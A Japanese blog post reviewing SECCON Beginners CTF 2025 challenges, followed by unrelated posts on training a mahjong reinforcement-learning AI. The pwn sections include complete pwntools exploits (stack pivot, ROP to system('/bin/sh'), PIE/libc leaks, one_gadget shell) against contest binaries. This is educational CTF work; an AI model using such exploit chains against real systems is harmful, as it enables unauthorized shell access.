SECCON Beginners CTF 2025 に参加した+復習

久々のCTF

ctf.beginners.seccon.jp

4人チームで参加した。

1個前に参加したCTFで参加記を書かなかったら内容を全部忘れたので今回は書く(もう2週間経ってますが……?)

CrazyLazyProgram1 (Reversing: 100)

改行が面倒だったのでワンライナーにしてみました。

概要

C#でflagの正誤判定をするソースコードが与えられる。

using System;class Program {static void Main() {int len=0x23;Console.Write("INPUT > ");string flag=Console.ReadLine();if((flag.Length)!=len){Console.WriteLine("WRONG!");}else{if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d){Console.WriteLine("YES!!!\nThis is Flag :)");}else{Console.WriteLine("WRONG!");}}}}

解法

flagそのものがハードコーディングされているので適当な方法で取り出せばOK。

flag = [0x63,0x74,0x66,0x34,0x62,0x7b,0x31,0x5f,0x31,0x69,0x6e,0x33,0x72,0x35,0x5f,0x6d,0x61,0x6b,0x33,0x5f,0x50,0x47,0x5f,0x68,0x61,0x72,0x64,0x5f,0x32,0x5f,0x72,0x33,0x61,0x64,0x7d]

for c in flag:
    print(chr(c), end="")
ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}

CrazyLazyProgram2 (Reversing: 100)

コーディングが面倒だったので機械語で作ってみました

概要

C言語のオブジェクトファイル(CLP2.o)が与えられる。

解法

与えられたファイルを逆コンパイルすると、1と同じくmain関数のなかに直接flagが書かれているので読む。

Decompiled

ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}

D-compile (Reversing: 100)

C言語の次はこれ!
※一部環境ではlibgphobos5が必要となります。 また必要に応じてecho -nをご利用ください。

概要

ELFファイルが与えられる。 実行するとflagの正誤判定をしてくれる。

$ ./d-compile
input flag>
a
this is wrong

解法

解法には関係ないが、注釈にあるとおりファイルを実行するには libgphobos.so.5 というDLLファイルが必要だった(Linux環境)

$ ./d-compile
./d-compile: error while loading shared libraries: libgphobos.so.5: cannot open shared object file: No such file or directory

これはlibgphobos5というD言語関連のパッケージに入っているが、手元で使っているUbuntu22.04のaptでは提供されていないので、dockerでUbuntu24.04環境を作ってパッケージをインストールしたあとファイルのみを取り出して使用した(このときシンボリックリンクではなくDLL本体を取り出す必要がある(1敗))


実行ファイルを逆コンパイルすると以下のような感じになっていた。

関数名の整理はしてません

これは入力された文字列とflagをmemcmpで照合する処理であり、変数puVar2がflagに対応していることが分かる。 flagを復元する方法は何でもいいが、たとえばGDBで当該の処理を見るとメモリの内部にflagが構成されているのを確認できる。

一文字ずつ追加されていく

ctf4b{N3xt_Tr3nd_D_1an9uag3_101}

wasm_S_exp (Reversing: 100)

チームメイトが先に通したのでコンテスト中には解いてない問題。

フラグをチェックしてくれるプログラム

概要

.wat形式のファイルが与えられる。

(module
  (memory (export "memory") 1 )
  (func (export "check_flag") (result i32)
    i32.const 0x7b
    i32.const 38
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x67
    i32.const 20
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 46
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x21
    i32.const 3
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x63
    i32.const 18
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x6e
    i32.const 119
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 51
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x79
    i32.const 59
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 9
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x57
    i32.const 4
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x35
    i32.const 37
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x33
    i32.const 12
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x62
    i32.const 111
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x63
    i32.const 45
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x7d
    i32.const 97
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x30
    i32.const 54
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x74
    i32.const 112
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x31
    i32.const 106
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x66
    i32.const 43
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 17
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 98
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x54
    i32.const 120
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 25
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x6c
    i32.const 127
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x41
    i32.const 26
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 1
    return
  )

  (func $stir (param $x i32) (result i32)
    i32.const 1024
    i32.const 23
    i32.const 37
    local.get $x
    i32.const 0x5a5a
    i32.xor
    i32.mul
    i32.add
    i32.const 101
    i32.rem_u
    i32.add
    return
  )
)

WAT(WebAssembly Text Format)はWebAssemblyコードを記述するためのファイル形式らしい(初見)

アセンブリ的な言語であることを念頭においてよく見るとかなりシンプルな構造の関数であることがわかって、Pythonで書き直すと以下のようになる。

def check_flag(str):
    l = [(0x7b, 38), (0x67, 20), (0x5f, 46), (0x21, 3), (0x63, 18), (0x6e, 119), (0x5f, 51), (0x79, 59), (0x34, 9), (0x57, 4), (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45), (0x7d, 97), (0x30, 54), (0x74, 112), (0x31, 106), (0x66, 43), (0x34, 17), (0x34, 98), (0x54, 120), (0x5f, 25), (0x6c, 127), (0x41, 26)]

    for a, b in l:
        i = (((b ^ 0x5a5a) * 37) + 23) % 101
        if a != ord(str[i]):
            return False
    return True

よって、flagは

def decrypt():
    l = [(0x7b, 38), (0x67, 20), (0x5f, 46), (0x21, 3), (0x63, 18), (0x6e, 119), (0x5f, 51), (0x79, 59), (0x34, 9), (0x57, 4), (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45), (0x7d, 97), (0x30, 54), (0x74, 112), (0x31, 106), (0x66, 43), (0x34, 17), (0x34, 98), (0x54, 120), (0x5f, 25), (0x6c, 127), (0x41, 26)]
    decrypted = ["*"] * 100

    for a, b in l:
        i = (((b ^ 0x5a5a) * 37) + 23) % 101
        decrypted[i] = chr(a)
    
    flag = ""
    for c in decrypted:
        if c == "*":
            break
        flag += c
    return flag

flag = decrypt()
print(flag)
ctf4b{WAT_4n_345y_l0g1c!}

MAFC (Reversing: 339)

flagが欲しいかい?ならこのマルウェアを解析してみな。

概要

2つのファイルが与えられる。

MalwareAnalysis-FirstChallenge.exe  flag.encrypted

この状態でexeファイルをWindows環境で実行しても、とくに何も起こらない。

解法

まず、これはディレクトリ内のflag.txtを暗号化してflag.encryptedを作成するプログラムである。 exeを逆コンパイルして眺めると暗号化を行っている関数を見つけることができる。

暗号化の関数

この関数ではWin32のCryptAPIを使ってflagを暗号化している。

90行目でCryptDeriveKeyのALG_ID変数に26128(0x00006610)が入力されていることから暗号化のアルゴリズムにCALG_AES_256が用いられていることがわかる。 また、CryptHashDataのパスワードが"ThisIsTheEncryptKey"であり、初期化ベクトル(IV)が"IVCanObfuscation"であることも読み取れる。

これらの情報からflagを復号することができて、

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

password = b"ThisIsTheEncryptKey"
iv = "IVCanObfuscation".encode("utf-16le")[0:16]    # リトルエンディアンで最初の16バイト
encrypted = None
with open("./flag.encrypted", "br") as f:
    encrypted = f.read()

sha = SHA256.new()
sha.update(password)
key = sha.digest()

aes = AES.new(key, AES.MODE_CBC, iv)

decrypted = aes.decrypt(encrypted)

print(decrypted)
$ python3 solve.py 
b'ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}\x00\r\r\r\r\r\r\r\r\r\r\r\r\r'

pivot4b (Pwnable: 394)

コンテスト中に見てはいたが、最終的にはチームメイトが解いた問題。 復習をする。

スタックはあなたが創り出すものです。

概要

実行ファイルとソースコードが与えられる。

$ ./chall
Welcome to the pivot game!
Here's the pointer to message: 0x7ffc0da3d170
> a
Message: a
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gift_set_first_arg() {
    asm volatile("pop %rdi");
    asm volatile("ret");
}

void gift_call_system() {
    system("echo \"Here's your gift!\"");
}

int main() {
    char message[0x30];

    printf("Welcome to the pivot game!\n");
    printf("Here's the pointer to message: %p\n", message);

    printf("> ");
    read(0, message, sizeof(message) + 0x10);

    printf("Message: %s\n", message);

    return 0;
}


__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

解法

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ポイントは

  • BOFができるが、スタックを16バイトしか上書きできない
    • 前半8バイトはleaveによってRBPに入り、後半8バイトはretのリターンアドレスになる
  • プログラム中にpop rdi;とsyscallがあらかじめ用意されている
  • printfで出力されるメッセージのアドレス(≒スタックのアドレス)が与えられる

leaveは現在のRBPのアドレスにスタックを飛ばしてRBPにスタックからPOPする命令であり、最初のretからleave; ret;にジャンプするとBOFした部分の前半が指すアドレス+8にスタックポインタが移る(stack pivot)

すると入力の最初の48バイトがROPに使えるので、pop rdi;でコマンドを引数に入れてsystem()を呼べばシェルを開くことができる。

# coding: utf-8
from pwn import *

elf = ELF("./chall")
context.binary = elf

p = remote("pivot4b.challenges.beginners.seccon.jp",  12300)
# p = process('./chall')
# gdb.attach(p)

rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])
leave = rop.find_gadget(["leave", "ret"])
system_addr = elf.symbols["gift_call_system"] + 14

p.recvuntil("Here's the pointer to message: ")
message_addr = int(p.recvline(), 16)

payload = b"\x00"*8                 # message_addr
payload += p64(pop_rdi.address)
payload += p64(message_addr + 32)
payload += p64(system_addr)
payload += b"/bin/sh\x00"
payload += b"\x00"*8                # ここまでmessage配列に入る
payload += p64(message_addr)        # 最初のleaveでRBPに入る -> 2回目のleaveでRSPに入ったあと+8される
payload += p64(leave.address)       # retのリターンアドレスになる(leave; ret;)

p.sendline(payload)
p.interactive()
$ python3 solve.py
> Message:
$ ls
flag-bce7759151aa98ff2e61358f578ec2eb.txt
run
$ cat flag-bce7759151aa98ff2e61358f578ec2eb.txt
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}

補足

最初はpayloadを以下のように書いていた。

payload = b"/bin/sh\x00"
payload += p64(pop_rdi.address)
payload += p64(message_addr)
payload += p64(system_addr)
payload += b"\x00"*16
payload += p64(message_addr)
payload += p64(leave.address)

これは上のpayloadとデータの順番が違うだけであり動作としては全く同じはずだと思ったが、実際にはうまくいかなかった。

調べたところ、RDIにコマンドのアドレスを格納してsystem()をcallするところまではできていたものの、system()の内部の処理でスタックの前半が書き換えられるらしく、実際にコマンドが実行されるまでの間に該当箇所が別の値になってしまっているようだった。

なのでコマンドの文字列は入力の後半に入れなくてはいけない(前も同じようなことで悩んだ気がする)

左:system()をcallする直前 右:system()内部の適当な箇所 でそれぞれスタックの値を確認

pivot4b++ (Pwnable: 496)

今回のもう1問枠。

この問題もコンテスト中に見てはいるが、ほとんど考えていない。

pivot4bからGiftがなくなってしまいました...

概要

実行ファイルとソースコードに加えて、libcのDLLファイルが与えられる。

$ ./chall
Welcome to the second pivot game!
> a
Message: a
!�
#include <stdio.h>
#include <unistd.h>

int vuln() {
    char message[0x30];

    printf("Welcome to the second pivot game!\n");

    printf("> ");
    read(0, message, sizeof(message) + 0x10);

    printf("Message: %s\n", message);

    return 0;
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(120);

    vuln();
}

解法

作問者さんのwriteupを見つけたので、これを読んで自分なりに再解釈しながら解いてみた。その過程で調べたことや理解したことなどをメモ。


    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ベースは前回と同じだが、

  • プログラム中にpop rdi;とsyscallが用意されていない
  • メッセージのアドレスが与えられていない
  • PIEが有効なのでコードが相対アドレスになっている

1周目

与えられたプログラムを実行すると表示されたメッセージの次の行に謎のゴミがついているのが見えるが、これはread関数が読み込んだ文字列のあとに終端文字を挿入せず、元々00が入っていたアドレスまでをprintfが文字列と認識して出力するためである(ターミナルで実行した場合は入力した文字列の末尾に改行が入るためゴミが次の行に出る)
同じくread関数を使っているpivot4bでも特定の文字数を入力すると出力にゴミがついてくることを確認できる。

よってBOFを利用して0x30+8文字を入力すればその先にあるリターンアドレス(= main+79)をリークさせることができる。 それだけではそのまま処理が終わってしまうが、さらに1バイト多く入力してリターンアドレスの末尾1バイトだけを書き換えることでmain+74(call vuln)にジャンプさせることが可能である。
一般にPIEが有効な場合でもアドレスの末尾1バイト(正確には12ビット)は変わらないので、GDBで実際のアドレスの末尾を確認すればよい。

ちなみにこの方法だと元々のリターンアドレスと上から7バイトが同じアドレスにしか確実には飛ばせないが、たとえばベースアドレスの下12ビットが0(「XXXXXXXXXXXXY000」のような形)であればYの値だけを1/16の確率で当てればよいので決め打ちで何度も実行することで実質的に末尾2バイトはいける?(未確認)

末尾を書き換えた結果main+74の実アドレスが出力されるので、それを使ってELFのベースアドレスを計算できる。 このときRBPには一時的に適当な値が入ることになるが、vuln関数の最初にrbp, rsp;があるのでリセットされる。

2周目

ELFのベースアドレスが分かっている状態でもう一度vuln関数に突入する。 libcのベースアドレスはまだ分からないので任意の場所には飛ばせないが、プログラム本体の関数は実アドレスが分かる状態になっている。

ここでvuln関数の最後(ret;)でRDIにfunlockfileのアドレスが入っているので、vuln+18(call puts)にジャンプすることでRDIの値を出力することができる。 funlockfileはlibcの関数なので、これでlibcのベースアドレスが計算できる。

vuln関数末尾でのメモリ状態

今回はvuln関数の途中に直接飛ぶためsaved RBPに読み取り可能なアドレスを入れておく必要があり、これは3周目でone_gadgetに飛んだあとのスタックポインタの値になる。 たとえば今回はelfのbss領域のスタートから少し進んだ場所を入れておけばよい(スタート直後だと相対アドレスで前を見る処理が入ったときに落ちる?)

3周目

もう一度入力が行えるが、今回はlibcのベースアドレスが分かっているので任意のアドレスに直接ジャンプできる。

libcのなかにはシェルを直接開けるガジェット(one_gadget)がいくつか存在し、libcのファイルがあればツールを使って探すことができる。

$ one_gadget libc.so.6 
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

…(略)

今回は作問者writeupと同じ0xebd3fを使ってみることにした。

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

このone_gadgetではRBP-0x70がNULLであることなどの条件があるので、それらの制約を満たすようなアドレスをsaved RBPに入れておけばそのままシェルを取れて終了。

復習に時間をかけすぎてサーバが閉じていたのでローカルだけで確認した。

# coding: utf-8
from pwn import *

elf = ELF("./chall")
libc = ELF("./libc.so.6", checksec=False)
context.binary = elf

# p = remote("pivot4b-2.challenges.beginners.seccon.jp",  12300)
p = process('./chall')
# gdb.attach(p)

"""
1回目
call vulnのアドレスをリークしながら当該箇所にジャンプし、ELFのベースアドレスを計算する
"""
payload1 = b"a"*56
payload1 += p8(0x26)    # main+74(call vuln)のアドレスの下1バイト
p.send(payload1)

p.recvuntil(b"Message: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
main_74 = int.from_bytes(p.recvline()[0:-1], "little", signed=False)
elf_base = main_74 - (elf.symbols["main"] + 74) # elfのベースアドレス

"""
2回目
call putsに飛ばしてRDIに格納されているfunlockfileのアドレスをリークし、libcのベースアドレスを計算する
"""
vuln_18 = main_74 - (0x226 - 0x18b) # vuln+18(call puts)のアドレス
payload2 = b"a"*48
payload2 += p64(elf_base + elf.bss() + 0x40)
payload2 += p64(vuln_18)
p.send(payload2)

p.recvuntil(b"Welcome to the second pivot game!\n")
p.recvuntil(b"\n")
libc_base = int.from_bytes(p.recvline()[0:-1], "little", signed=False) - libc.symbols["funlockfile"]

"""
3回目
one_gadgetでシェルを起動する
"""
payload3 = b"a"*48
payload3 += p64(libc_base + libc.bss() + 0x70)
payload3 += p64(libc_base + 0xebd3f)    # execve("/bin/sh", rbp-0x50, [rbp-0x70])
p.send(payload3)
p.recvuntil(b"\n")

p.interactive()

まとめ

結果は3365ptで、70位/880チーム だった。

pivot4b++を解けていたら40位くらいだったので次回はもっとPwnを解きたい。

Pwn人材の不足が深刻

麻雀の強化学習をする その5(塔と列車編)

『Slay The Spire』と『崩壊: スターレイル』をやっていたらいつの間にか3週間経っていた(つまりその間何もしていない)

ちょっと間が開いてしまったので、現在の状況を整理。

現在の成績について

前回、学習時の報酬の影響で副露率がおかしいという話があった。 それを直して学習したものがこちら。

学習時間(横軸)と直近100半荘の最終スコアの移動平均(縦軸)

報酬を局ごとの点数の差分に比例するように変更したところ、ShantenAgentの平均スコアは約10000まで下がるようになった。

これを提出して3週間後の現在、統計と順位表はこのようになっている。

副露率は改善

ギリギリTier1

まず、副露率は70.11% → 36.69%となり、一般的に適切とされている領域に入っているようだ。

レートは3週間で少しずつ上昇していき、1697となった。現在のweakmlが1694なので、これをわずかに超えている(実際は強さにほとんど違いはないだろう)

副露率を改善するという目的は達成できたものの、思っていたほど強くはならなかった。一応Tier1 playerにも入っているが、明確に超えたという感じではない。

次回の改善点:打牌/副露モデルの分離

前回は副露率が目立ち過ぎたせいで打牌についてはほとんど検討していなかったが、実際に見てみると状況はかなり悪いことが分かった。

たとえば【6788m34p27s西西北中中】から2sを引いて4pを切るというようなことが結構な頻度で行われているが、人間でこのレベルのミスをする人はほとんどいないと思われる。 そして、これは現在のモデル構造に原因がありそうだと思っている。

現状ではすべてのアクションを同じモデルで扱っており、それぞれのアクションの価値を個別で推論して比較し、最も価値の高い手を採用している。 一方、AlphaGOをはじめとしてこの手のボードゲーム機械学習でよく用いられる手法は、あらかじめ可能なすべての手に対応した出力を持ち、すべてのアクションの採用確率を同時に推論するというものである。

麻雀のアクションは打牌だけで見ると牌と同じく34種(赤ドラと普通の牌を選択できる場合はあるが、一般には赤ドラを残すとしてよいと思う)しかないが、副露などを含めると非常に多くなる。このうちポンやカンは同時に1種類しか発生しないが、チーは牌の組み合わせによって区別され、手牌の状況によっては複数のチーの中からの選択が発生する。たとえば手牌に23445と持っているところに上家が4を捨てると「チー:23+4」「チー:35+4」「ポン:44+4」「何もしない」の4種のアクションからの選択になる。

前者の手法は現在の状況で可能なアクションの価値だけを推論するため、常にすべてのアクションの価値を比較することがあまり有効ではないと考えられる場合にも使える方法である。しかし、学習の際に他の選択肢(選ばなかった選択肢)との比較がないためアクション間の優先度を学習しにくいという欠点がある。 TCGのように潜在的なアクションの種類が膨大で、自分のターンにやりたいアクションをすべて行えるタイプのゲーム(policyの閾値が重要になるゲーム)では有効な手法だが、麻雀の打牌においては優先度の比較が特に重要なのであまりうまくいかず、欠点のほうが大きく出た形になったといえそうだ。

policyをアクションごとに個別に推論する方法について、これまで自分のなかでは「潜在的なアクションの種類が多く、かつ各状態で可能なアクションの選択肢は少ない場合(それぞれのアクションの登場頻度が小さい場合)に効率的」という程度の漠然とした認識だったが、今回の結果を確認して、アクションの種類に関する効果はあくまでこの手法がもつ長所の一つに過ぎず、基本的には解くべき問題としての性質にきちんと着目して推論方法を選択すべきという理解になった。

ということで、次はここを改善してみることにした。 やり方はシンプルに打牌とそれ以外でモデルを分ける方法を考えている。上記の内容を考慮したうえで改めて考えると、麻雀のアクションの中でも打牌とそれ以外では問題としての性質が違うことに気づいた。打牌は提示された選択肢の中からひとつを必ず選ぶ必要があるため価値同士の比較の問題だが、副露や立直、和了などのアクションは(チー間の選択はあるものの)基本的には「やるかやらないか」の選択であり、価値の閾値の問題と捉えられると思う。

よって、打牌とそれ以外のモデルを分け、打牌については囲碁などと同じく全てのアクションの選択確率を同時に推論し、副露などについては従来通りアクションごとに個別に価値を推論する方法が向いているのではないかと考えた。

打牌と副露の選択肢が基本的には同時に提示されない(副露アクションの価値と打牌アクションの価値を比較する必要がない)のは都合がいい点といえる。暗槓や立直、九種九牌などは打牌との選択とも考えられるが、まず副露モデルでそれらのアクションを行うかどうかを推論してから打牌モデルで切る牌を選べばいいだけなので簡単に分離可能である。

まとめ

  • ゲームをしすぎた
  • 報酬をちゃんとすると副露率は改善したが、思っていたほど強くはならなかった
  • 改めて打牌を検討してみると結構ひどかった → policyの推論方法について認識があいまいだった部分を言語化できた

しばらくは何かを改善して結果を見て、また改善点を探すというサイクルが続きそうな感じがする。

麻雀の強化学習をする その4(コンテストに出してみた編)

前回、特徴量とモデル構造の改変を行い、学習の規模を少し大きくしたことでAIの挙動に改善が見られた(とくに、役のない副露の減少)

コンテストに出す

ある程度挙動が良くなったように見えたので、一旦コンテストに提出してみることにした。

RiichiLab-Mahjong AI Competitionについて

RiichiLabsmly氏が個人で主催されているオンライン麻雀コンテストで、自作の麻雀AIを提出すると毎週末に対戦が行われ、サイト内でのレーティングを計算してくれるプラットフォームである。

コンテストの形式としてはCodingameに近いが、異なる点もある。

  • 機械学習に基づいたAIを提出することが想定されており、提出の形式がコードそのものではなくPythonスクリプトを含むzipファイルである。
  • 対戦は毎週土曜日に合計1000半荘行われる
    • 現在の参加人数(39名)だと各AIが大体70~120半荘ほど対戦することになるようだ
  • レーティングは提出されたAIではなく作者(提出者)自身に付与されており、AIを再提出してもリセットされない
  • 対戦は4半荘を1セットとして行われる。具体的には、同じseed値の半荘を席次だけを入れ替えて4回行う

現在のRiichiLabではMjx形式のエージェントに直接は対応していないようで、mjaiというエンジンに対応する形で実装する必要がある。

結果

とりあえずmjai形式に対応させて、10/05の対戦に間に合うように提出してみた。僕のAIは合計68対戦を経験し、結果は以下のようになった。

10/05の68対戦の統計情報

また、対戦のリプレイも確認することができる。↓はその一例である。

mjai.app

1位2位率が7割と一見非常によく見えるが、環境ではいわゆる下位プレイヤーとの対戦もあるため、一概に優秀とはいえない。

レーティングの初期値は1500なので、10/05の変化量は+119であったということになる。コンテストの仕組み的には一回の集計で適切なレートに収束することは全く保証されていないため来週の集計でまた上がる可能性もあるが、格上との対戦ではしっかり負けているようなので、案外実際の強さもこのくらいかもしれない。

今後の目標 / 要改善点

10/05時点での順位表は以下のようになっている。

https://mjai.app/games/59/leaderboard

僕の少し上にweakmlというAIがおり、それよりもレーティング的に高いAIがTier1Playerと定義されているようだ。 まずはこれを超えることを直近の目標にしたい。

前回は気づかなかったがAIの挙動に明確な要改善点が一つあり、なんとcall rate(副露率)が70%もある。一般に適正副露率は高くても40%程度とされているから、明らかにやりすぎである(ちなみに僕自身の雀魂での副露率を確認すると31%だった)

これは原因にとても心当たりがあって、学習の実験をする際に各局の点数の差分をvalueに変換する関数を手動で書いており、その変換において点数とvalueが全く線形の関係になっていないことが理由だと考えている。 具体的には+2000点が+0.5、+8000点が+0.7、+24000点が+0.9となっているほか、全体的にマイナスよりもプラスを大きく評価するように書いたのだった。 一番最初に、とりあえず和了できるようになってほしいと思って上がりに対して大げさに報酬を設定したのだが、これが本学習のときにもそのままになっていた。 (実際のところ麻雀では±48000点までは意味のある点数として充分発生しうるが、これを±1.0に相当させるとすると+2000点は報酬にして+0.042にすぎず、これが上がりを学習する段階で本当に有効なのかどうか若干判断に迷ったというのもある)

報酬がこのようになっているせいで、とにかく断么九を作って早く上がることが正義ということになったのだろう。実際、AIの脳内では2000点を2回上がることが三倍満に相当しており、8000点を取られても4000点を上がればチャラということになっているのだから当然といえる。 ある意味では正しく学習しているといえるが、実戦においては弱くなってしまう(当たり前)

さらに言えば麻雀において各局の点数収支というのはそもそも本質ではなく、本来は半荘終了時の着順で報酬を決めるべきとも思っているのだが、複数の局をまたいでの学習になることもあり現在はそのへんの判断を保留している。

我々人間が麻雀をプレイするときも何らかのvalueに従って状況を判断しているはずであり、それをうまく数値化できれば局ごとに報酬を適切に与えられるのだろうが、まだあまり考えられていないというのが正直なところだ。

現状では特徴量もきちんと整備できているとはいえず、人間のプレイヤーであれば当たり前に考慮する情報でも入っていなかったりするので(たとえば捨て牌の順序とか)次回はそこを整備する回にしようと思っていたのだが、報酬の影響が大きすぎるので一旦そこだけ直して来週再提出してみようかな……。

まとめ

  • RiichiLabのコンテストに提出してみた
  • 報酬がバカすぎて副露率がやばい!
  • ベンチマークのためにも一旦報酬を直して再学習したい

特徴量やモデル構造の話はその後にしよう。

麻雀の強化学習をする その3(役を学習する編)

前回、ローカルのデスクトップPCで学習を回してShangenAgentに勝ち越すところまで学習できたが、実際に局面を見てみると役のなくなる鳴きが多かったため、これを改善できるかどうかを試した。

方針

特徴量の追加

前回のモデルで入力に含めていた手牌の情報は手牌にそれぞれの牌が何枚ずつあるか+副露した面子の情報だけだった。 理論上はそれだけの情報があれば役を学習できる可能性はあるが、今回はモデル構造が単純であることも考慮して、学習を補助するためにいくつかの特徴量を追加した。

  • 場風 / 自風
  • 門前かどうか
  • 副露した各面子
  • 手牌の種類と枚数
  • 手牌にある順子(たとえばM1234とあれば、M123とM234)
  • 手牌にある塔子(連続する2つの数牌であって、順子になっていないもの)
  • 手牌にある嵌張(1つ飛ばしの2つの数牌であって、順子になっていないもの)
  • 手牌と副露に(萬子 | 筒子 | 索子 | 字牌 | 老頭牌 | 中張牌)がそれぞれ存在するか

これらの情報があれば、大体の役を推論できるのではないかと考えた。

モデル構造の変更

前回のモデルでは出力がvalueとpolicyの2つしかなく、AIが学習に使える情報は少なかった。 valueとはすなわち局ごとの自分の点数の差分であり、役を学習するには解像度が低い情報なので、もう少し詳しいラベルを与えることにした。

具体的には、モデルの出力に3つのyaku出力を追加した。yakuに関する3つのラベルはonehot表現になっており、上がれないまま局が終了した場合は[1, 0, 0]、門前限定の手のみで和了した場合は[0, 1, 0]、副露可の役を含めて和了した場合は[0, 0, 1]となる。 3つのyaku出力は上記のラベルを分類問題として学習し、この局が上記の3種類のうちどの結末になるか、つまり「降り」「門前」「副露」という3つの方針のうちどれを選択すべきかを推論するのが目的である。yaku出力の値自体はエージェントの行動に影響を与えないが、valueヘッドとyakuヘッドは中間層を共有しているため、これらを同時に学習することがvalueの学習に寄与すると考えた。

もちろん、yaku出力を55個(Mjxにおける役の数)に分岐させ、それぞれの役が成立する確率を推論するマルチラベル分類問題として扱う手もあるが、さすがに多すぎて学習が安定しづらいかもしれないと思い今回は見送った。 とはいえ、これをうまく学習できれば推奨手だけでなく目指す役を列挙してくれる麻雀AIを作ることが可能であり、人間が見るためのAIとしては面白そうな題材なのでいつかやってみてもいいかもしれない。

とにかく、新しいモデルの構造は大雑把に描くと以下のようになった。モデルサイズは約8MBと比較的コンパクトに収まった。

新しいモデルの概略

学習リソースの増加

前回はデスクトップPC(10コア20スレッド)を使っていたが、今回は64コア256スレッドのマシン上で自己対戦を行った。GPUの性能も上がっているが、モデルのサイズが小さいのであまり関係ない感じだった。

学習の推移

上記の変更に加えてパラメータ変更や学習データの分割などいくつかの工夫を加えて学習した結果、ShantenAgentに対する勝率の推移は以下のようになった。

前回と同じく12時間学習しているが、マシンパワーが強いので学習自体は圧倒的に速くなっている。 数時間でShantenAgentの平均スコアは13000付近まで下がっており、そこからは学習を続けても下がっていかないようだった。

学習時間(横軸)と直近100半荘の最終スコアの移動平均(縦軸)

対局を見てみる

前回の課題が解決しているのか確認するため、今回も学習したモデル同士で東一局を6回プレイさせ、それぞれの局の最後の局面を確認してみた。

学習したモデル4体での最終局面(6局ぶん)

